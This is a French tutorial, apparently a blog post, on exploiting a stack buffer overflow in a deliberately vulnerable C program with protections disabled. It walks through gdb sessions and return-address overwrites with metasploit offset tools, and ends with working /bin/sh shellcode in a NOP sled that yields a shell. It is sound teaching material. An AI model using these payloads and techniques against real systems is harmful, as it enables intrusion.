Pour être en mesure d'exploiter et de comprendre cette vulnérabilité il est d'abord nécessaire d'avoir une bonne connaissance du fonctionnement de la pile d'un programme. Même si cette vulnérabilité ne touche pas que la pile, cet article se limitera à ce contexte.
Pour commencer il est nécessaire de désactiver toutes les protections qui peuvent être mises en place par l'OS ou le compilateur.
Un buffer est une zone mémoire dans laquelle va être stockée des données permettant le bon fonctionnement du programme. Le problème c'est qu'un buffer a une taille fixe à un instant t et si des précautions n'ont pas été prises, il est possible d'écrire plus de données que la taille du buffer. Le problème est que ces données vont écraser d'autres informations qui peuvent nous permettre dans certaines circonstances de modifier le comportement du programme.
Prenons un programme d'exemple appelé buffer_overflow.c :
#include <stdio.h>
#include <stdlib.h>
void unused_function(void) {
printf("Impossible => fonction non utilisee\n");
}
void f(const char *s) {
int i = 1;
char buffer[12];
strcpy(buffer,s);
printf("i = %u\n",i);
}
int main(int argc, char **argv) {
if(argc != 2) {
fprintf(stderr,"Usage: buffer_overflow chaine");
exit(EXIT_FAILURE);
}
f(argv[1]);
return EXIT_SUCCESS;
}
On voit clairement le problème dans ce programme à la ligne 11. Le buffer ne fait que 12 octets, et la commande strcpy (contrairement à la commande strncpy) ne vérifie pas la taille. Si la longueur de s est supérieure à 12 octets, on dépassera la taille de buffer et on écrasera des informations qui n'ont rien à voir avec cette variable.Regardons un peu l'exécution de ce programme :
# ./buffer_overflow AAA i = 1 $ ./buffer_overflow $(ruby -e 'print "A"*12') i = 0 $ ./buffer_overflow $(ruby -e 'print "A"*15') i = 4276545
Tant qu'on ne dépasse pas la taille du buffer, tout se passe normalement. Par contre dès qu'on commence à déborder, on modifie la valeur de i en l'écrasant, chose qui paraissait impossible vu le code source du programme.
# ./buffer_overflow $(ruby -e 'print "A"*50') i = 1094795585 Erreur de segmentation (core dumped)Au bout d'une certaine quantité d'information au delà de la taille du buffer, on plante même lamentablement le programme.
Regardons un peu ce qu'il se passe avec gdb :
time0ut# gdb -q --args ./buffer_overflow $(ruby -e 'print "A"*12') Reading symbols from time0ut/buffer_overflow...done. gdb$ dis f Dump of assembler code for function f: 0x080482b4 <+0>: push ebp 0x080482b5 <+1>: mov ebp,esp 0x080482b7 <+3>: sub esp,0x28 0x080482ba <+6>: mov DWORD PTR [ebp-0xc],0x1 0x080482c1 <+13>: mov eax,DWORD PTR [ebp+0x8] 0x080482c4 <+16>: mov DWORD PTR [esp+0x4],eax 0x080482c8 <+20>: lea eax,[ebp-0x18] 0x080482cb <+23>: mov DWORD PTR [esp],eax 0x080482ce <+26>: call 0x80512a0 <strcpy> 0x080482d3 <+31>: mov eax,0x80ae90c 0x080482d8 <+36>: mov edx,DWORD PTR [ebp-0xc] 0x080482db <+39>: mov DWORD PTR [esp+0x4],edx 0x080482df <+43>: mov DWORD PTR [esp],eax 0x080482e2 <+46>: call 0x8048e40 <printf> 0x080482e7 <+51>: leave 0x080482e8 <+52>: ret End of assembler dump. gdb$ b *0x080482ce # On breakpoint avant le strcpy Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11. gdb$ b *0x080482d3 # On breakpoint après le strcpy Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12. gdb$ r => 0x80482ce: call 0x80512a0 <strcpy> 0x80482d3 Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11 11 strcpy(buffer,s) gdb$ print &buffer $1 = (char (*)[12]) 0xbffff230 gdb$ print &i $2 = (int *) 0xbffff23c gdb$ print 0xbffff23c - 0xbffff230 $3 = 0xc gdb$ x/16xb 0xbffff230 0xbffff230: 0x04 0xf3 0xff 0xbf 0xa0 0x89 0x04 0x08 0xbffff238: 0x00 0x01 0x30 0xb7 0x01 0x00 0x00 0x00 gdb$ c => 0x80482d3: mov eax,0x80ae90c 0x80482d8 : mov edx,DWORD PTR [ebp-0xc] : mov eax,0x80ae90c 0x80482d8 Breakpoint 2, f at buffer_overflow.c:12 12 printf("i = %u\n",i); gdb$ x/16xb 0xbffff230 0xbffff230: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff238: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00 gdb$ c i = 0 Program exited normally.: mov edx,DWORD PTR [ebp-0xc] 0x80482db : mov DWORD PTR [esp+0x4],edx
On voit bien avant le strcpy la valeur de i 0x01 0x00 0x00 0x00 (représentée en bleu) qui est écrasée par l'\0 ajouté par strcpy. Un seul octet est écrasé : celui où il y avait 0x01. i passe donc à 0.
Remarque: Si nous avions inversé la déclaration des variables buffer et i, il n'aurait pas été possible de faire un overflow sur i, car elle aurait eu une adresse inférieure à buffer.
Maintenant essayons de comprendre pourquoi sur notre dernier essai, en plus de modifier la valeur de i, le programme se plante. Si on se rappelle bien du fonctionnement de la pile, on sait que lors de la création d'un stack frame l'adresse suivant l'appel de la fonction est aussi sauvegardée sur la pile pour reprendre l'exécution du programme au bon endroit lors du retour de la fonction.
Que se passe t'il si lors de la copie de la chaîne dans notre buffer, on écrase cette adresse ? On va modifier le cours d'exécution du programme, et le retour de notre fonction f se fera à une nouvelle adresse, qui pointera dans notre cas sur n'importe quoi. Le programme a donc de fortes chances de planter. C'est exactement ce qu'il se passe ici.
time0ut# ./buffer_overflow $(ruby -e 'print "A"*50') i = 1094795585 Erreur de segmentation (core dumped) time0ut# gdb buffer_overflow -c core Reading symbols from time0ut/buffer_overflow...done. [New Thread 5625] Core was generated by `./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () gdb$ info register eip # ou sa version light : i r eip eip 0x41414141 0x41414141
Notre registre EIP (celui qui pointe sur la prochaine instruction à exécuter) à la valeur 0x41414141 soit AAAA. Lorsque le programme va tenter d'exécuter l'instruction à cette adresse, il ne pourra pas lire le contenu de cette zone mémoire et va donc planter.
Par contre, si on arrive à écrire une adresse valide, il est techniquement possible de faire exécuter du code non prévu à notre programme, lors de la restauration de l'adresse de retour de f.
time0ut# gdb -q buffer_overflow Reading symbols from time0ut/buffer_overflow...done. gdb$ dis unused_function Dump of assembler code for function unused_function: 0x080482a0 <+0>: push ebp 0x080482a1 <+1>: mov ebp,esp 0x080482a3 <+3>: sub esp,0x18 0x080482a6 <+6>: mov DWORD PTR [esp],0x80ae8e8 0x080482ad <+13>: call 0x8048fd0 <puts> 0x080482b2 <+18>: leave 0x080482b3 <+19>: ret End of assembler dump. gdb$ q time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50') i = 134513318 Impossible => fonction non utilisee Erreur de segmentation (core dumped)
Plutôt que d'écrire une série de A, on a réécrit une adresse valide plusieurs fois, de façon à écraser non seulement la valeur i, mais aussi la valeur de retour de f. Cette adresse pointe sur le printf de notre fonction unused_function. Lorsque f se termine, la valeur de retour devient 0x080482a6 (\xa6\x82\x04\x08 en little endian) et le programme exécute l'instruction se trouvant à cette adresse. Le printf de unused_function qui n'était jamais appelé est donc exécuté. Inutile de dire ici qu'étant donné qu'on a complètement court-circuité toute la structure du programme a un moment ou à un autre, le programme se plante.
time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50') Reading symbols from time0ut/buffer_overflow...done. gdb$ dis main Dump of assembler code for function main: 0x080482e9 <+0>: push ebp 0x080482ea <+1>: mov ebp,esp 0x080482ec <+3>: and esp,0xfffffff0 0x080482ef <+6>: sub esp,0x10 0x080482f2 <+9>: cmp DWORD PTR [ebp+0x8],0x2 0x080482f6 <+13>: je 0x804832c <main+67> 0x080482f8 <+15>: mov eax,ds:0x80ce624 0x080482fd <+20>: mov edx,eax 0x080482ff <+22>: mov eax,0x80ae914 0x08048304 <+27>: mov DWORD PTR [esp+0xc],edx 0x08048308 <+31>: mov DWORD PTR [esp+0x8],0x1d 0x08048310 <+39>: mov DWORD PTR [esp+0x4],0x1 0x08048318 <+47>: mov DWORD PTR [esp],eax 0x0804831b <+50>: call 0x8048e70 <fwrite> 0x08048320 <+55>: mov DWORD PTR [esp],0x1 0x08048327 <+62>: call 0x8048c20 <exit> 0x0804832c <+67>: mov eax,DWORD PTR [ebp+0xc] 0x0804832f <+70>: add eax,0x4 0x08048332 <+73>: mov eax,DWORD PTR [eax] 0x08048334 <+75>: mov DWORD PTR [esp],eax 0x08048337 <+78>: call 0x80482b4 <f> 0x0804833c <+83>: mov eax,0x0 # Adresse de retour de f 0x08048341 <+88>: leave 0x08048342 <+89>: ret End of assembler dump. gdb$ b *0x80482ce # avant le strcpy Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11. gdb$ b *0x80482d3 # après le strcpy Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12. gdb$ r Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11 gdb$ x/8xw buffer 0xbffff230: 0xbffff244 0x080489a0 0x5cdd3700 0x00000001 0xbffff240: 0xbffff190 0x08048db5 0xbffff1a8 0x0804833c # eip a été sauvegardé ici gdb$ n Breakpoint 2, f at buffer_overflow.c:12 12 printf("i = %u\n",i); gdb$ x/8xw buffer 0xbffff230: 0x080482a6 0x080482a6 0x080482a6 0x080482a6 0xbffff240: 0x080482a6 0x080482a6 0x080482a6 0x080482a6 # On a modifié la valeur gdb$ x/2i 0x080482a6 0x80482a6: mov DWORD PTR [esp],0x80ae8e8 0x80482ad : call 0x8048fd0 <puts>
La mémoire ressemble après le strcpy à cela :
La distance séparant les variables locales d'une fonction à la sauvegarde du registre EIP ne peut pas toujours être connue. Cela dépend du système sur lequel on se trouve et de la façon dont a été compilé le programme. Certains compilateurs peuvent ajouter des protections, du padding... La façon dont a été compilé le programme enlève toutes les protections, cependant gcc peut ajouter du padding et c'est le cas ici.
On peut voir cela dans le prologue de la fonction de f :
0x080482b4 <+0>: push ebp 0x080482b5 <+1>: mov ebp,esp 0x080482b7 <+3>: sub esp,0x28
40 octets (0x28) sont réservés pour les variables locales, alors que seulement 12 + 4 octets auraient été nécessaires. En réécrivant donc l'adresse souhaitée suffisamment de fois, on est pratiquement sûr de bien tomber (en tout cas pour cet exemple). C'est peu élégant, mais efficace.
Une technique plus élégante consiste à utiliser des utilitaires de metasploit : pattern_create.rb et pattern_offset.rb. L'idée consiste à générer un pattern suffisamment long avec pattern_create.rb, à le passer au programme pour le planter et enfin à regarder la valeur de EIP.
Il suffit de passer la valeur de EIP à pattern_offset.rb qui nous donnera la taille nécessaire pour arriver jusqu'au registre (et donc d'ajouter 4 octets supplémentaire pour l'écraser).
Merci à m_101 pour m'avoir fait découvrir ces outils sur son blog.
time0ut# /msf3/tools/pattern_create.rb 50 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab time0ut# ./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab i = 1093951809 Erreur de segmentation (core dumped) time0ut# gdb -q buffer_overflow -c core Reading symbols from time0ut/buffer_overflow...done. [New Thread 6873] Core was generated by `./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'. Program terminated with signal 11, Segmentation fault. #0 0x62413961 in ?? () gdb$ q time0ut# /msf3/tools/pattern_offset.rb $(ruby -e 'print "\x62\x41\x39\x61".reverse') 28 # Il faut donc 28 octets pour arriver à EIP, les 4 suivant l'écraseront time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*(28/4+4)') i = 134513318 Impossible => fonction non utilisee Erreur de segmentation (core dumped)
C'est bien joli d'exécuter une fonction qui n'aurait pas dû l'être mais ce qui est vraiment intéressant, c'est d'exécuter le code que l'on souhaite, même si celui-ci ne fait pas parti du programme initial. Pour cela, il faut être capable de mapper ce code dans la mémoire du programme. Une fois cela effectué, il suffira d'utiliser la technique décrite précédemment pour l'utiliser.
Plusieurs techniques existent pour mettre notre code dans la mémoire du programme comme par exemple le passer en ligne de commande, directement dans le buffer source de la vulnérabilité. Cependant ici on va utiliser une technique plus simple et plus sûre, on va passer notre code par variable d'environnement.
Chaque programme a accès automatiquement aux variables d'environnement, même s'il ne les utilise pas. Elles font parties de sa mémoire. Le seul problème va être de connaître l'adresse de notre variable, car il va falloir pointer dessus. Pour cela le programme suivant doit faire parti de notre boite à outils :
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char**argv) {
char *addr;
if(argc != 2) {
printf("Usage: %s env_variable\n",argv[0]);
exit(EXIT_FAILURE);
}
addr = getenv(argv[1]);
if(addr == NULL) {
printf("Environnement variable %s does not exist\n",argv[1]);
} else {
printf("%s is located at %p\n",argv[1],addr);
}
return EXIT_SUCCESS;
}
Ce programme permet de connaître l'adresse d'une variable d'environnement (si elle existe). D'un programme à l'autre, l'adresse d'une variable d'environnement varie peu.
# ./get_env PATH PATH is located at 0xbffffc15Le code qui sera passé au programme est un shellcode, qui permettra d'obtenir un shell s'il est exécuté. Le développement de ce code dépasse le cadre de cet article, nous en utiliserons un tout fait que l'on peut trouver sur shellstorm par exemple.
# ruby -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' | ndisasm - -b 32 00000000 31C0 xor eax,eax 00000002 50 push eax 00000003 682F2F7368 push dword 0x68732f2f 00000008 682F62696E push dword 0x6e69622f 0000000D 89E3 mov ebx,esp 0000000F 50 push eax 00000010 89E2 mov edx,esp 00000012 53 push ebx 00000013 89E1 mov ecx,esp 00000015 B00B mov al,0xb 00000017 CD80 int 0x80
Une fois en possession de notre code, on va le mettre dans une variable d'environnement précédé d'un certain nombre d'octets ayant la valeur 0x90. L'opcode 0x90 représente l'instruction NOP qui ne fait rien en assembleur si ce n'est passer à l'instruction suivante. L'avantage est qu'il suffit de pointer sur l'un des NOP pour que notre shellcode s'exécute (le programme passera de NOP en NOP jusqu'à la charge utile). Si nous n'en avions pas mis, il aurait fallu pointer exactement sur le début de notre shellcode, à l'octet près. Comme l'adresse de la variable d'environnement peut changer d'un programme à l'autre, il aurait été beaucoup plus difficile de tomber sur la bonne adresse. Les NOP permettent donc de s'affranchir d'une erreur trop importante sur l'adresse finale.
# export SC=$(ruby -e 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"') # ./get_env SC SC is located at 0xbffffcb6On connait donc grossièrement l'adresse du premier NOP de notre shellcode. On va se laisser une marge de 50 octets histoire d'être au milieu de tous les NOP : 0xbffffce8 (0xbffffcb6 + 50).
Il ne nous reste plus qu'à écraser l'adresse sauvegardée de EIP sur la pile par cette adresse, pour que lors du retour de notre fonction f on exécute notre shellcode :
# ./buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8') i = 3221224680 $Ca marche, on récupère le prompt de notre shell. Regardons ce qu'il s'est vraiment passé avec gdb :
time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8') Reading symbols from time0ut/buffer_overflow...done. gdb$ b *0x080482d3 # On breakpoint après le strcpy Breakpoint 1 at 0x80482d3: file buffer_overflow.c, line 12. gdb$ r Breakpoint 2, f at buffer_overflow.c:12 12 printf("i = %u\n",i); gdb$ x/8xw buffer 0xbffff230: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8 0xbffff240: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8 # L'adresse a bien été réécrite gdb$ x/20xw 0xbffffce8 0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffcf8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffd08: 0x90909090 0x31909090 0x2f6850c0 0x6868732f 0xbffffd18: 0x6e69622f 0x8950e389 0xe18953e2 0x80cd0bb0 0xbffffd28: 0x53494800 0x4e4f4354 0x4c4f5254 0x6e67693d # On est bien sur les NOP, donc c'est gagné gdb$ x/5i 0xbffffce8 0xbffffce8: nop 0xbffffce9: nop 0xbffffcea: nop 0xbffffceb: nop 0xbffffcec: nop gdb$ x/10xb 0xbffffcaa 0xbffffcaa: 0x3d 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffcb2: 0x90 0x90
L'adresse du premier NOP était en réalité en 0xbffffcab, alors que notre programme précédent nous avait donné 0xbffffcb6 (soit une différence de 11 octets). La technique des NOP nous a permis de passer outre cette approximation.
